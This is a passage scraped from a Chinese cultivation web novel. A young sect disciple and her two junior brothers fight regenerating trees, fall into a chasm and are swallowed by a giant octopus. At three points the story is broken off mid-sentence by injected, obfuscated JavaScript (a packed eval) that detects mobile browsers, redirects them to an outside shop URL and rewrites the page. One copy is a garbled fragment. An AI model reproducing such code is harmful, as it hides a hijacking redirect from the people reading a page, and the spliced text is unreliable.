在原书里,李行道就是去的碧青谷,不过他倒不是抱有吴青青的这种想法,只是在刚进入小世界时,就有一股意念催动他前往,在那里,他也确实找到了一份很强的机缘,至于这南边,他确实没有踏足过此地。 锦书在心里盘算着,刚才李行道好像并没有什么异常,不知道他感应到自己的机缘没,如果最后没去碧青谷,不知道以后的发展会不会和原书中不一样。 如果可以,还是鼓动他去碧青谷比较好,毕竟蝴蝶效应,万一以后发生了什么不可预知的糟糕事情就不好了。 “阿书,你一直站着累不累啊,到这边坐会吧。” 锦书回过神,吴青青坐在一棵大树下对着她扬起笑脸挥了挥手臂,她点了点头一路小跑到她身边坐下了。 “给你,你饿了没呀?”吴青青又递过一块饼,锦书想了想还是摇了摇头婉拒了,现在情况未明,正好带着帕子也能挡住自己的容貌。 吴青青两只手撑着下巴,面带好奇地看着锦书,锦书虽有些不明所以,却还是对她弯了弯眼睛,吴青青的脸有些微红,她语带艳羡道:“你长得真好看。” 锦书被这直白的夸奖整的一怔,赶忙有些羞涩道:“哪里哪里,你都没见过我的整张脸就这么夸我,说不定我下半张脸长得奇丑无比呢。” 吴青青眼神坚定地否认道:“怎么可能呢?我看到你就觉得亲切,你的眼睛圆溜溜的,笑起来和小猫一样。” 锦书被直白的夸奖闹了个大红脸,这时,一旁同行的一个女孩笑嘻嘻地把头伸过来打趣道:“青青师姐一看到长得好看的人就这样失智。” 吴青青拍了她一把,解释道:“但阿书妹妹又不是一般的好看。” 锦书年纪不大,哪里抵挡得住这样的夸奖,虽然她在心里默默吐槽,原来对自己好完全是因为颜控属性,但其实心里仍旧美滋滋的,已经准备把两个便宜师弟忘到脑后了,下定决心尽量不让吴青青吃亏。 吴白叹了口气,对众人说道:“各位,我们现在实在找不到出路了,你们有什么办法吗?” 看着为难的几人,锦书想了想还是举起了手,不忘保持人设,她弱弱道:“我有个办法,不知可不可行。” 吴白面上流露出片刻诧异,却还是温和道:“阿书姑娘请说吧。” “我们把头顶的这片树枝全砍碎飞出去行吗?” 吴白叹了口气:“这个方法我们试过了,但是这树木很是怪异,如果拿剑砍的话,不出片刻它们就会重新长出来,我们这么多人砍得速度都没有它长得快。” “那如果我们能一下就炸出一个大口子,然后抓紧时间一下子冲出去呢?” 吴白眼神一动,又听少女说道:“一下一下的砍或许来不及的,但是突如其来的爆炸,只要炸的口子够大,那么长出来也是要时间的吧。” 吴青青兴奋地一跃而起:“阿书妹妹你怎么这么聪明,我们几个加在一起都不如你一半。” 但很快吴白就先泼了一盆冷水:“但是我们几人都是剑修,平日里只学过一些最最基础的符咒,恐怕这里没有一个懂怎么做爆裂符啊。” 看着吴青青暗淡下来的眼神茶,锦书不由得在心里夸赞起了天玄宗,果然还是综合性强一点比较适应社会的发展啊,之前的突击,她现在也算半个全能发展选手了。 众人都犯了难,锦书便主动说道:“爆裂符我倒是会一点点。” 迎着吴白惊讶的眼神,她连忙解释道:“因为我是个医修,身体又不好,家里长辈怕我出门遇到意外,就教了些符咒。” 吴青青高兴地拍了拍手:“太好了,这下我们就能出去了。阿书你不仅长得好看还这么聪明,真是太厉害啦。” 锦书已经适应了吴青青的“夸夸机”属性,闻言对她笑了笑。 吴白很快就做出了决断:“那就有劳阿书姑娘了。” 锦书从兜里摸出一张没画过的空白符咒,打量了一下四周,捏起了一片叶子碾碎,沾着绿色的汁液在符纸上一笔一划的画了起来。 她把爆裂符递给吴白,他对锦书点了点头,便捏着符踩着剑往头顶飞去,待距离差不多了,将灵力注入符咒中,用力地甩向密密麻麻的树枝。 “快!”他大喝了一声。 “砰”的一声巨响,头顶的树枝燃起了冲天的火焰,并迅速烧出了一个大口子,按照刚在的计划,一行人纷纷御剑飞起,没有“剑”的药修锦书也被身旁的吴青青牢牢地抓住了胳膊,把她往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069844|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天上拽去。 几人看着那大洞离自己越来越近,而因为火焰剧烈燃烧的树枝却又抖动着,像长出了血肉一般的蜷缩伸展,居然在火中又重新伸展出新的枝条和叶片,并逐渐的靠拢,试图填补那大洞。 众人都焦急了起来,加速朝那洞口冲去,锦书被拽的胳膊生痛,她有些担忧地朝下方看去,这些诡异的树木生长的这样快,不知道陈赋舟和李行道来不来得及赶上,要知道为了防止被判定作弊,三人在进来后就将通信的工具毁掉了,如果他们没能追上来,那待会大洞闭合,等他们再出来,自己早就不知道跟着吴青青他们跑到哪去了。 锦书瞪大眼睛,努力的在一片火光中寻找两个便宜师弟,灼热又明亮的红色中有两个小小的黑点正往自己这边冲来。 她忧心两人赶不上全身心地盯着下面看,却听上方忽的传来尖叫声。 锦书错愕地抬起头,却见本来生长速度还算正常的树枝像疯了一般几乎只是眨眼间就变做了一张大网,朝着御剑飞行的众人狠狠拍了下来,像蛛网一样狠狠地笼罩了这几只“苍蝇”。 两眼一黑,锦书只感到磕到了无数坚硬的东西,有力地树枝压制着她几乎不能试图减缓下降的速度,浑身上下传来一阵又一阵尖锐的刺痛感,疼的她挤出了两滴生理性的泪水。 终于跌落在了地面上,当后背与土壤接触的那刹那,锦书甚至久违的感到一阵安心。 “阿书妹妹,你没事吧。” 锦书被吴青青扶到一旁,她是被拽着上去的,因此被打下来的时候就倒霉的被吴青青压在了身下。 锦书瞧她一脸歉疚与担忧,便安抚道:“我没事,只是摔的狠了些。” 她一边说一边转过头看向四周,但却并没有找到陈赋舟和李行道的踪迹,难道是被砸到地里面去了。 “阿书姑娘,我记得你是医修吧,不知可否替我们医治一番,我们在寻其他出路。”吴白走到锦书身前询问道。 锦书暗道一声不好,突击里虽然确实教了些医学,但那都比较简单,哪能同真正的医学相比,怎么可能糊弄地过这些人。 好在吴青青怒道:“阿书妹妹刚被砸成这样你就让她去给人治病,是不是也太不近人情了。” 但这次吴白并没有理会妹妹的发怒,眼神坚定地盯着锦书,锦书咬了咬下唇,无奈地问道:“你怎么发现的?难道是从我提出的出去的方法?” 吴白摇了摇头:“并非,我猜你也想出去,所以那方法应该没什么问题。但是你突然的出现实在太可疑,会爆破符的理由也很刻意,刚刚我们御剑飞行的时候,你一直在向下看,这太不合常理了,如果你会医术我就相信你了,可惜你并不会。” 吴青青震惊地一会看看兄长一会看看锦书,锦书一直在思索如何为自己辩驳才能不太过于破坏同他们之间的关系。 不过还没等她想好,这次脚下的大地却又开始颤动。 锦书抓紧身旁的大树,问道:“这是什么情况?” 吴白脸色大变,但仍不忘提醒其他几人:“小心脚下!” 只见本来布满散落的树枝叶片的大地忽的裂开了一道裂缝,裂缝像被人从两端撕扯一样越变越大,犹如一个可以吞噬众人的血盆大口。 38. 第 38 章 地面剧烈的震动着,锦书面色凝重地抓住身边的树干以防一个不慎跌入那深不见底的裂缝。 大约几个眨眼间,裂缝变成了十米左右的宽度,好在几人都在一侧,倘若出了什么事也能马上相互照拂了。 眼见裂缝停止裂开,有人不解地问道:“这是什么情况?” 有人摇摇头:“难道是那些奇怪的树木生长的后遗症?” 有胆大的人探着头想看看那裂缝里到底有什么东西,锦书等功力较高的几人却同时脸色大变,惊道:“别过去。” 可惜为时已晚,那裂缝里突然钻出一个巨大的黑紫色的触手,那触手将那名胆大的青云宗弟子高高顶起。 吴青青慌张地叫道:“李师兄。” 可惜他水平不高,又遭遇这突如其来的一下根本反应不过来,眼瞅着就要被触手狠狠地拍到那头顶的树枝丛去了。 锦书一只手拉紧树干,另一只手抓紧变成长绸缎的绊玉,绊玉朝上方延伸直到触及那名弟子的高度,便继续伸长在他腰间紧紧地缠了两圈,锦书咬紧牙关,动用灵力,绊玉不断地缩短长度,拉扯着那名弟子往下坠。 等被称作李师弟的弟子脚挨到了地面,绊玉这才松开化作长剑落在锦书手心。 吴白谢道:“多谢你救了我青云宗弟子一命,之前的欺瞒之事就此抵消吧。” 吴青青一脸的惊讶地盯着那长剑,说道:“没想到你居然是剑修,我就知道你长这么漂亮一定不会是坏人的,谢谢你救了我师弟,之前那事你肯定是有什么难言之隐吧!” 锦书被她这颜控属性振的有些无语,但此时容不得多想,因为那裂缝里又伸出了更多的触手,它们胡乱地拍打着周围,惹得众人只能不断狼狈躲闪。 锦书举起绊玉往触手上劈,锋利的剑刃斩过那果冻般的熟手,留下一道光滑的横截面,可那裂缝里的触手却像永不会停息一般,源源不断地涌了上来。 锦书很快就判断出了情况:“这触手和那树枝一样会再生。” 吴白等人也纷纷抽出剑来斩断一根又一根的触手,一时间众人都有些焦头难额。 “这样下去也不是办法啊。” 锦书一边闪躲着斩断拍向自己的触手,一边观察着四周:“我要进那裂缝里面看看。” 吴青青大喊道:“不行,里面深不见底,谁知道到底还有什么怪物,怎么能让你这样去冒险呢!” 锦书坚定道:“不进去就永远没法阻止这奇怪的东西。” “那我和你一起去。”吴青青说着就要艰难地往锦书这边靠近。 “不行。”锦书解释道:“我一个人方便行动,之前没有告诉你们,我是天玄宗的弟子,全名叫纪锦书,我们天玄宗学得多,我小心一点不会出事的,如果你们信任我,就把传送符给我一张吧,我那张搞丢了。” 吴青青看她眼神坚持,只能咬了咬牙,将怀中的一张传送符用灵力朝锦书的方向丢了过去:“接好,如果有什么事就赶紧走,别伤到了性命。” 锦书在触手间跳跃了几步,稳稳的接住了传送符:“多谢。” 接着,她眼神凝实,仔细地观察着下方的裂缝,那里乌黑一片,只有数不清的触手从里面延伸开来。 锦书深吸了一口气,抓紧时机从一处触手较少的地方跳了下去。 极速坠落带起的狂风拍打着面孔,锦书盘算着时间差不多了之后,将绊玉用力地扔向身旁,绊玉使劲地插进了岩壁上,剑柄处化作绸缎飞向主人,将她的手腕缠绕了几圈后又收缩了起来,锦书被拽着往上飞起,直到身子停了下来,她才松了一口气,另一只手摸索着扣住岩壁上凸起的石块。 她由衷地对自己的灵器感谢道:“多亏你了。” 看不清五指的黑暗中,绊玉开始散发出莹白的光芒,算是回应了主人。 锦书借着光往下看,这裂缝里布满了触手的根部,岩壁上有着大大小小的洞穴。 锦书朝下方大喊道:“师弟!” “陈赋舟!” “李行道!” 原来刚刚裂缝展开的那霎那,锦书瞧见两人不偏不倚地跌入了其中,她一人下来也是为了救两人,她盘算着出发前几人都准备了一定的保命手段,李行道又有男主光环,短时间应该不会出什么事,这才寻了个理由下来。 锦书又大喊了几声,终于,在她下方的一个洞穴里,一处光亮越变越大。 “师姐,我们在这里。” 锦书大喜,是李行道的声音,她抓紧手里的那块岩石,另一只手拔出绊玉,长长的泛着荧光缀着铃铛的绸缎甩向那座洞穴,被李行道抓在手里,锦书松开手往那洞穴荡去,稳稳地跳进了里面。 “你们怎么样?” 李行道点了点头:“没什么事,当时为了不被他们发现,我们俩一时躲避不慎掉了进来,本准备再上去的,谁知道就突然长出了一大堆触手。” 陈赋舟上前两步捏住锦书的手腕:“师姐你的手怎么了?” 锦书低下头这才发现许是刚才救那姓李的师弟,又为了维持自己不掉进去,使了太大的力,手腕处勒除了几道又深又红的痕迹,这时情况稳定了,她才注意到现在手腕处又酸又痛。 她瘪了瘪嘴:“用力用过头了。” 陈赋舟眉头紧蹙,面色有些难看:“先上药。” 锦书“哦”了一声,伸手想去翻自己兜里的草药。 陈赋舟却抓住了她的手腕,迎着她疑惑的眼神,他语气放缓解释道:“你一只手不方便,还是让我来吧。” 锦书的手腕被他捏在手里,少年小心地在泛红的皮肤上涂抹上草药,又轻轻地绑上绷带,锦书感到脸有点发热,她慌张地撇开头。 “师姐,上面现在什么情况?” 听到李行道的话,锦书这才回过神道:“上面情况不怎么好。这些触手砍断了又有新的出来,我觉得我们要下去看看它的根源到底是什么,然后斩草除根。” 李行道回道:“那我们待会下去吧。” 锦书看向洞外张牙舞爪的柱体叹道:“事不宜迟,我们还是赶紧下去吧,不知道上面还能撑多久,对了,我要来了传送符和地图,我们先赶紧画几张一样的,以防万一,但我同吴青青借来的那张待会无论如何都要换回去才行,他们那行人里看上去功力都不怎么样,应该复刻不出来新的。” 陈赋舟接过那传送符,又从怀里掏出纸来。 锦书这才想起来之前自己的叮嘱,于是问道:“你又要用自己的血吗?” 陈赋舟看了她一眼,眸中情绪不定,知道她是在担忧自己,便安抚一笑:“不用,我带了几片草。” 锦书满意道:“看起来你把师姐的话放在心里,不错,不错。” 陈赋舟没有搭话,但嘴角却勾起一抹他自己都没有察觉的弧度。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079660|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很快三人都得到了一张传送符,锦书却说道:“我之前发现如果御剑飞行,这些触手就会像长眼睛了一样,精准地往我的方向攻击,所以刚刚才选择直接跳下来,我们三个还是往下跳吗?” 李行道回道:“那应该也只有这一个方法了,师姐你用绊玉将我们三个牵在一起以防待会散开了吧。” 锦书点点头,用绊玉化作的绸缎在洞穴里的一块大岩石上绑了两圈,又在手上打了个结,又缠上陈赋舟和李行道的手腕,一人打了一个结,反正绊玉也能自由变换长度,这样也就不影响三人的活动了。 三人站在洞穴前,李行道伸出捏着发光的符往外探去,借着光,锦书也看向下面,刚刚她已经跳下了不少距离,可那裂缝居然依旧看不到底。 “3,2,1”锦书喊道,随即三人一起向下跳去。 锦书抿住嘴,脸上的帕子也滑落了下来,不知飞到了何处。 她攥紧绊玉,沿着绊玉,另一只手也伸了过来抓了她的手臂,锦书知道那应该是陈赋舟,他这样抓紧了她的胳膊,两人之间连接的发力点便从锦书和陈赋舟的手腕变成了他的胳膊,酸痛的手腕乍一下得到缓解,舒服了不少。 大约十个数左右,锦书踩到了什么东西,绊玉便停下来延伸,之前用来照亮的符早就燃灭了,她听到一阵翻动的声音,想来是李行道又在找新符。 锦书拿脚尖够了够下面,令她疑惑不已的是脚下并非凝实的土地,一脚踏上去居然像蹦床一样反弹了两下。 这到底是什么? 百思不得其解间,李行道终于又点亮了一张符纸,在光亮下,三人不约而同地向下方看去。 锦书脸色大变,扯着嗓子叫道:“糟了。” 话音未落,那脚下的东西翻滚了起来,三人都看清了那是一只巨大的章鱼,它的身子像一座至少有五层高的楼房,周身长满了数不清的触手。 之前锦书一直以为是这裂缝太深看不到底,如今才明白那只是因为这章鱼浑身黑紫色,他们瞧见的不过是它庞大的身躯蜷缩在这地底罢了。 那章鱼已经把身子翻了过来,忽的,一阵“呼呼”的狂风袭面而来,锦书眯起眼睛努力地看了看,这才辨认出原来是它张开嘴,那张大嘴里漆黑一片与它的身躯融成一片,极难辨认。 锦书忽然意识到了什么,绊玉连忙收缩带着三人向上飞起。 可那本该因身躯庞大就动作缓慢的章鱼却突然动作迅捷了起来,张着大嘴扑向了几人,几只较短的触手也缠了上来。 李行道捏着玄铁剑斩断了来势汹汹的几只,可这并不能为他们的处境带来什么好的变化,更糟的是,李行道隐隐约约感到手上打的结已经有了几分要松动的趋势。 陈赋舟捏起了早就准备好的爆破符等一系列有攻击性的符纸往下扔去,尽管听到了炸开的声音,但那章鱼的动作却并未减慢半分。 虽然看不清它的样子,锦书还是感到了一阵凶恶之气,可绊玉已经不能再快了,这样下去他们迟早会被追上的。 “师姐!”李行道大喊道,他手上的结最终还是松开了,锦书慌张地驱动绊玉去拉起掉落的他,可章鱼比她的速度更快,几乎只是瞬间就吞噬了李行道。 锦书额上冒出几滴冷汗,心中暗道不好,那章鱼吃了李行道,依旧不依不饶追上锦书两人,张开了大嘴。 速度之快甚至来不及掏出传送符。 39. 第 39 章 黑暗中,锦书跌跌撞撞地在章鱼的嘴里翻滚着,陈赋舟抓着她胳膊的手更加用力了。 “师姐?” 锦书回道:“我没事,李行道呢?” 她张嘴用力地喊道:“李行道,李师弟,李行道!” 一声又一声的回音回荡在空气中,并没有人搭话,队伍里少了一个人,锦书心中焦急,只能安慰自己李行道有男主光环,没事的。 一点火光亮起,陈赋舟举起手中的符纸,照亮四方,冷静道:“李师弟有传送符,说不定是在掉下来的时候传送走了。” 锦书松了口气,她怎么把这一遭忘了,放下心后,锦书视线跟随光亮移动打量着四周,章鱼嘴里同样是乌紫色的皮肤,皮肤上有着大大小小的鼓包,到处都散落着地上的树木枝叶,锦书跺了跺脚,脚下的章鱼皮肤就好像海浪一般向四周推开,有弹性的上下波动着。 锦书心道,还好是软体动物,如果是个长着牙的,他们恐怕现在就是一堆残渣了。 此时天气尚热,两人穿的都是单衣,不知为何这章鱼内部的温度却比外面低了好几度,锦书打了个喷嚏,抱怨道:“这里面怎么和冰窖一样,好冷。” 陈赋舟拉着她的胳膊往里面走了走,想要看清楚章鱼的结构,闻言,他也停下了脚步。 锦书揉了揉发红的鼻子,疑惑地问道:“怎么了?” “似乎有股风。” 锦书怔了怔,停下动作仔细地感觉着,确实有着一丝又一缕的微风从四处传来。 她眉目舒展开:“我知道了!这章鱼是个漏风的。” 陈赋舟点了点头:“有可能,按理来说,这章鱼的嘴里面应该又闷又热才对,但却偏偏这么冷,应当是地下的冷气顺着漏风的洞被吹进来了。” 锦书附和道:“而且,这章鱼嘴一闭上,我们应该很快就就会感到窒息才对,可现在却没有一点不适感。” 她摸着身侧的“墙壁”,扣了扣那鼓包,软趴趴的手感令人皱了皱眉,但确实在那里有一丝微风拂过皮肤,带起一层鸡皮疙瘩。 “这些鼓包下面应该都是大大小小的口子,一直在向里面吹着风。” 陈赋舟也走到锦书身侧:“你之前说那些触手有再生的能力,不知道是单单只有触手能再生,还是这章鱼本身就具有再生能力。” 锦书握紧绊玉化作的匕首,笑道:“这还不好办。” 她刺向一块较小的鼓包,剜下这软乎乎的东西没费她多大的劲,那厚厚的鼓包掉下来后,两人都看见了一个手指尖大小的小洞,锦书一鼓作气把匕首插了进去,使劲来回捣鼓了一下。 “好厚。”在使劲戳了两下后,锦书拔出绊玉,做出了评价。 “你看,它没长出来的。”陈赋舟指着那小洞说道。 那被剜掉的地方确实没有什么变化,也没有再长出新的鼓包,似乎好像并没有意识到这两个人类会对它有威胁。 锦书皱着眉,掏出一块帕子,仔仔细细将绊玉擦拭了两遍:“看来我们来这里真是误打误撞碰对了,只要从内部斩开这章鱼,它的触手再多也没用。 说着,绊玉变幻为长剑形态,锦书大喝一声往章鱼壁上劈了过去。 “叮当”一声,她手一酸,绊玉脱离,掉在了地上。 “怎么了?”陈赋舟扶住她有些摇晃的身子。 锦书欲哭无泪道:“手疼,使不动剑招了。” “这么厚也不是一下就可以劈开的,之前师尊有说过一个万剑诀,师姐知道吗?” 见锦书摇了摇头,陈赋舟继续说道:“师尊有教过我,但我志不在剑,修炼不成形,万剑诀使出犹如多了九千九百九十九把剑一般,这些剑威力随略逊于本剑,但数量加在一起也能说得上是威力非凡,师姐歇歇手,待会我教你,我虽然不行,但师姐一定可以。” 锦书皱着眉头,拒绝道:“不行,我们还是要尽快出去才行,不知道青云宗那群人还能撑多久。” “青云宗那群人若是连这么短的时间都撑不住,那还真就是一群废物了,早早用传送符出去和留下来也没什么区别。”他盯着锦书,知道她一向喜欢将他人安慰视作自己的事,不由得叹了口气,还是忍不住道:“师姐为什么这么关心他们,他们和我们又没什么干系。” 锦书鲜少看他露出这幅略微冷淡的模样,一时有些懵,但还是解释道:“他们人都挺好的,愿意把地图和传送符都给我,而且,我感觉我和里面一个姑娘相当投机,我不想让她吃亏。” 陈赋舟看她坚定的脸庞,知道她心意已决,可他也做不到无动于衷地看着她逞强使剑,便安慰道:“放心吧,青云宗好歹也是和我们齐名的大门派,那触手虽然难缠,但也不至于让他们全军覆灭。” 锦书这才稍微安心了下来,又问道:“你都没学会,怎么教我?” 陈赋舟:“虽然我没学会,但一招一式和用功的点都已经记在心里了。” 锦书“哦”了一声,坐在了地上,甩了甩手腕。 陈赋舟眉头微蹙:“师姐,当心地上脏。” 锦书大大咧咧道:“谁还有空管干不干净,大不了回去再洗衣服呗。我们已经沦落到这地步,就不能再这么计较了。” 话虽如此说了,但锦书还是十分好心地拍了拍身旁的地面,扫去几十干枯的树枝,从怀里又掏出一张艳丽的手帕铺在地上,她嘟囔道:“就我宠你吧。” 陈赋舟怔了怔,盯着那帕子看了会,垂下的眼睛看不出情绪,锦书问道:“怎么还站在那?师姐帮你擦咯。” 他乖巧地坐在了那帕子上,过来半晌忽然问道:“师姐带这么多帕子做什么?” 锦书正双眼无神的发呆,听到这话才转过头,冲他露出一个夸张的笑容:“带着省的我那有洁癖的小师弟没地方坐呀,我呀,就是专门治你这种麻烦虫的,再说,我这法宝可是特地买的,能装下不少东西,几张帕子又不占位置。” “这种”陈赋舟挺精确的捕捉到了这个字眼:“师姐还认识我更麻烦的人吗?” 锦书来了劲,伸着头过去看陈赋舟的表情,那张满面笑容的脸蛋离他不过点点距离,俏皮又生动地吸引了他的视线,他听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090949|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见少女说:“那倒没有,麻烦的小师弟我只有你一个。” 陈赋舟撇过脸,喉咙里溢出一声轻笑道:“我也只遇到过一个对我这么好的人。” 锦书转正身子,笑嘻嘻道:“那不就正正好。” 酸痛感减弱了不少,锦书转了转手腕,听到陈赋舟问道:“可我总觉得师姐对我和对其他人没什么区别。” 锦书想了想回道:“我对师弟师妹们都是一般的好呀。” 少年眉眼精致,目光中带着探究:“师姐也会关心李行道......” 锦书没注意到他话中有话,打哈哈道:“那是因为他是小师弟嘛。” 陈赋舟垂下眼睫,盯着地面:“可是只有我们两个是同一个师尊,我才应该是师姐名正言顺的小师弟。” 原来是闹小脾气了,锦书心中了然,陈赋舟常年闭关不怎么和外人接触,希望自己是他唯一的朋友,这种想法完全可以理解嘛。 和小孩子一样,还是哄一哄好啦。 “对呀”锦书坐直了身子:“所以我对师弟你和他完全不一样嘛。” 陈赋舟抬眼看她,她继续道:“你看,我没有说过对他说过要监督他吃饭吧,也没有督促过他不要做伤害自己的事。” 陈赋舟扬起一抹笑容,他本就生的俊俏,笑起来时两双眼睛都仿佛盛满了阳光,精致的酒窝也在此刻做了最恰当的点缀,看得锦书不争气地呆了呆。 “那师姐可以一直、永远、只对我这么好吗?” 锦书觉得这话怪怪的,又说不出来哪里怪,只能瞪着又大又圆的眸子,眼眸中盛满茫然与呆滞,嘟囔道:“当然可以啦。” 陈赋舟嘴角的酒窝从没像这刻一样深,就好像容纳了世界上所有的阳光一样明媚:“师姐好多了吗,我来教你。” 陈赋舟站起身来,只是笑意依旧难以抑制,衬得他看上去比平时有人情味了不少。 锦书握紧绊玉,陈赋舟站在她身侧简单介绍道:“万剑诀使用的诀窍是剑和主人要心意相通,这也是我当时没能学会的主要原因,但你和绊玉应该满足了这个条件。” 闻言,锦书凝神尝试和绊玉沟通,剑身在她手中微微震动着,莹白色的光芒也更盛了几分,上面流光运转,灵力四溢。 陈赋舟点了点头:“其实也没有什么额外的技术,在尝试使用的时候,你最好凝气固神,将全部的精力和灵力都传入剑里,当感到剑和自己真正的融入时,再将剑和灵力一起分成万分,向四周射出去。” 锦书有些为难:“只有口诀,做起来真能成功吗?” 陈赋舟神色冷静:“先前的休息已经让你的手腕和精神都恢复了大半,师尊常说你在剑道一术上颇具天赋,想来应当难不倒师姐吧。” 知道他在用激将法,但锦书听了这话反而心中镇定了不少,丝毫不怯道:“既然师弟都这么说了,那做师姐的肯定可以做到,好了,你不要吵,让我找找感觉。” 少女闭上了双眼,眉头紧缩,嘴唇也抿在一起,少见的专注和认真,陈赋舟退后了两步,若有所思地盯着她。